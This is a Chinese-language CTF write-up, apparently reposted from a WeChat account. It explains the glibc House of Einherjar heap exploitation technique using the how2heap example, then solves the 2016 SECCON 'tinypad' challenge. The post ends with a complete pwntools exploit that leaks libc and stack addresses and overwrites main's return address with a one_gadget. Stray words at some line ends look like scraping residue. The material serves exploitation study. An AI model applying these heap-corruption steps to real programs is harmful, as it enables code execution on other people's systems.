House Of Einherjar原理
用 how2heap 的例子看一下python
參考:http://blog.topsec.com.cn/pwn的藝術淺談(二):linux堆相關/linux
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
uint8_t* a;
uint8_t* b;
uint8_t* d;
printf("\n申請 0x38 做爲 chunk a\n");
a = (uint8_t*) malloc(0x38);
printf("chunk a 在: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("malloc_usable_size()能夠返回指針所指向的 chunk 不包含頭部的大小,chunk a 的 size: %#x\n", real_a_size);
// create a fake chunk
printf("\n接下來在棧上僞造 chunk,而且設置 fd、bk、fd_nextsize、bk_nextsize 來繞過 unlink 的檢查\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size 必需要等於 fake_chunk 的 size 才能繞過 P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size 只要可以整理到 small bin 中就能夠了
fake_chunk[2] = (size_t) fake_chunk; // fd
fake_chunk[3] = (size_t) fake_chunk; // bk
fake_chunk[4] = (size_t) fake_chunk; //fd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bk_nextsize
printf("咱們僞造的 fake chunk 在 %p\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fd: %#lx\n", fake_chunk[2]);
printf("bk: %#lx\n", fake_chunk[3]);
printf("fd_nextsize: %#lx\n", fake_chunk[4]);
printf("bk_nextsize: %#lx\n", fake_chunk[5]);
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
printf("\n再去申請 0xf8 chunk b.\n");
printf("chunk b 在: %p\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
printf("\nb 的 size: %#lx\n", *b_size_ptr);
printf("b 的 大小是: 0x100,prev_inuse 有個 1,因此顯示 0x101\n");
printf("假設有個 off by null 的漏洞,能夠經過編輯 a 的時候把 b 的 prev_inuse 改爲 0\n");
a[real_a_size] = 0;
printf("b 如今的 size: %#lx\n", *b_size_ptr);
printf("\n咱們僞造一個 prev_size 寫到 a 的最後 %lu 個字節,以便 chunk b 與咱們的 fake chunk 的合併\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("\n咱們僞造的 prev_size 將會是 chunk b 的帶 chunk 頭的地址 %p - fake_chunk 的地址 %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
printf("\n接下來要把 fake chunk 的 size 改掉,來經過 size(P) == prev_size(next_chunk(P)) 檢查\n");
fake_chunk[1] = fake_size;
printf("\nfree b,首先會跟 top chunk 合併,而後由於 b 的 prev_size 是 0,因此會跟前面的 fake chunk 合併,glibc 尋找空閒塊的方法是 chunk_at_offset(p, -((long) prevsize)),這樣算的話 b+fake_prev_size 獲得 fake chunk 的地址,而後合併到 top chunk,新的 topchunk 的起點就是 fake chunk,再次申請就會從 top chunk 那裏申請\n");
free(b);
printf("如今 fake chunk 的 size 是 %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
printf("\n如今若是去 malloc,他就會申請到僞造的那個 chunk\n");
d = malloc(0x200);
printf("malloc(0x200) 在 %p\n", d);
}
上面文字基本表達完了,但仍是調試着看一下叭web
首先申請了一個 chunk a,而後在棧上僞造了一個 chunk,爲了繞過 unlink 的檢查,先把 fd、bk、fd_nextsize、bk_nextsize 直接寫成咱們 fake_chunk 的地址微信
而後申請一個 chunk b,由於前面申請的 chunk 的大小是 0x38,因此 chunk a 共用了 chunk b 的 chunk 頭的 0x8,也就是說咱們寫 chunk a 的最後 0x8 字節能夠直接更改掉 chunk b 的 prev_size,這裏爲了讓他能找到咱們的 fake chunk,因此用 chunk b 的地址減去 fake chunk 的地址,0x603040-0x7fffffffdca0=0xffff8000006053a0編輯器
同時假設存在一個 off by null 的漏洞,能夠更改掉 chunk b 的 prev_inuse 爲 0函數
而後咱們釋放掉 b,這時候 b 由於與 top chunk 挨着,會跟 top chunk 合併,而後由於 prev_inuse 是 0,因此會根據 prev_size 去找前面的 free chunk,然而 prev_size 被咱們改了,他去找的時候找到的是 fake chunk,而後兩個合併,新的 top chunk 起點就成了 fake chunk,再次分配的時候就會分配到 fake chunk 那裏了工具
ps.按照這個道理 d = malloc(0x200)
這行代碼還沒執行的時候,p main_arena
應該看到 top 被改爲了 fake chunk 地址的,可是調試的時候顯示的是 chunk b 的地址,然而 malloc 以後才顯示 top 爲 fake chunk 的地址,然而此時 d 的地址已是在 fake chunk 那裏了,不知道爲啥ui
再深刻理解爲啥會跟 top chunk 合併之類這些問題大概要把 libc 的源碼看一下才能理解,等之後吧 Orzurl
2016 Seccon tinypad
參考:https://xz.aliyun.com/t/6556spa
在 read 的時候有一個 off by null
程序在 0x602140 這裏記錄了申請的 chunk 的 size 與指針
首先須要泄漏 libc 的地址
create(0x80, 'a'*0x80)
create(0x80, 'b'*0x80)
create(0x80, 'c'*0x80)
create(0x80, 'd'*0x80)
delete(3)
delete(1)
p.recvuntil("INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap_addr = u64(p.recvline().rstrip().ljust(8, '\x00')) - 0x120
p.recvuntil("INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena_addr = u64(p.recvline().strip().ljust(8, '\x00')) - 88
libc_base = main_arena_addr - 0x3c4b20
#0x3c4b20用main_arena工具計算出來的,也能夠vmmap看一下libc基址本身算
#把剩下那倆也free掉
delete(2)
delete(4)
先申請幾個,而後釋放掉兩個,用來獲取 unsorted bin 的地址和 heap 的地址(chunk3 的 fd 指針)
tinypad = 0x0602040
offset = heap_addr + 0x20 - (tinypad + 0x20)
fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
edit(3, "4"*0x20 + fake_chunk)
delete(1)
create(0x18, '1'*0x10 + p64(offset))
delete(2)
這一塊首先是經過計算算出了 heap_addr + 0x20 與 tinypd+0x20 的地址的偏移(其實是 heap_addr 與 tinypad 的偏移),而後僞造了一個 fake chunk,它的大小是 0x101,fd 跟 bk 都是 tinypad + 0x20 的地址值
而後經過 edit(2) 來吧內容寫到 0x0602040 這裏,此時在 0x602060 處就是咱們的 fake chunk
(edit 的時候先寫到 0x0602040 這裏,而後複製到指定的位置。真的,大部分問題可能都出在看不懂程序上 Orz)
對 chunk1 先 free 而後申請回來,同時把 offset 寫到 chunk2 的 prev_size 位上,加上程序的 off by null 的漏洞,能夠把 chunk2 的 prev_inuse 位給改成 0,因此再去 free chunk2 的時候就成功利用了 House Of Einherjar
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena_addr + 88)*2)
同時利用 edit(4) 把 fake chunk 的 fd、bk 給改爲 main_arena+88 的地址(unsorted bin)
one_gadget = libc_base + 0x45226
environ_pointer = libc_base + libc.symbols['__environ']
create(0xf0, '6'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
p.recvuntil(" # INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
leak_addr = u64(p.recvline().rstrip().ljust(8, '\x00'))
main_ret = leak_addr - 0x8 * 30
p.success("main_ret: %x" % main_ret)
p.success("leak_addr: %x" % leak_addr)
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
quit()
而後申請的時候就申請到了 fake chunk 那裏,同時把 tinypad+0x100 那裏的指針改爲 size 跟 environ 的地址,經過 environ 函數泄漏 main 函數 retn 的地址,而後把這個地址覆蓋爲 one_gadget
接下來直接在 chunk1 的 content 處就能夠看到 0x7ffff7dd3f38 處的 0x7fffffffde48
而後要根據這個來算出距離 main_ret 處的偏移
(直接在快要 ret 的那裏下個斷點,而後 c
運行到那裏)
接下來經過編輯第二個 chunk 把以前寫 environ_pointer 的地址改爲 main_ret 的地址,而後經過編輯 chunk1 把 main_ret 改爲 one_gadget 而後正常的退出就能夠啦
完整 exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./tinypad')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./tinypad')
context.log_level = 'debug'
def cmd(choice):
p.sendlineafter("(CMD)>>> ", choice)
def create(size, content):
cmd("A")
p.sendlineafter("(SIZE)>>> ", str(size))
p.sendlineafter("(CONTENT)>>> ", content)
def delete(index):
cmd("D")
p.sendlineafter("(INDEX)>>> ", str(index))
def edit(index, content):
cmd("E")
p.sendlineafter("(INDEX)>>> ", str(index))
p.sendlineafter("(CONTENT)>>> ", content)
p.sendlineafter("(Y/n)>>> ", "Y")
def quit():
cmd("Q")
create(0x80, 'a'*0x80)
create(0x80, 'b'*0x80)
create(0x80, 'c'*0x80)
create(0x80, 'd'*0x80)
delete(3)
delete(1)
p.recvuntil("INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap_addr = u64(p.recvline().rstrip().ljust(8, '\x00')) - 0x120
p.recvuntil("INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena_addr = u64(p.recvline().strip().ljust(8, '\x00')) - 88
libc_base = main_arena_addr - 0x3c4b20
print "======== some addrs ======="
print hex(main_arena_addr)
print hex(libc_base)
print hex(heap_addr)
delete(2)
delete(4)
#gdb.attach(p,'b *0x400E4E')
create(0x10, '1'*0x10)
create(0x100, '2'*0xf8+p64(0x11))
create(0x100, '3'*0xf8)
create(0x100, '4'*0xf8)
tinypad = 0x0602040
offset = heap_addr - tinypad
print "============ offset ==========="
print offset
fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
edit(3, "a"*0x20 + fake_chunk)
delete(1)
create(0x18, '1'*0x10 + p64(offset))
delete(2)
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena_addr + 88)*2)
one_gadget = libc_base + 0x45226
environ_pointer = libc_base + libc.symbols['__environ']
create(0xf0, '6'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
p.recvuntil(" # INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
leak_addr = u64(p.recvline().rstrip().ljust(8, '\x00'))
main_ret = leak_addr - 0x8 * 30
p.success("main_ret: %x" % main_ret)
p.success("leak_addr: %x" % leak_addr)
edit(2, p64(main_ret))
#gdb.attach(p)
#pause()
edit(1, p64(one_gadget))
quit()
p.interactive()
本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。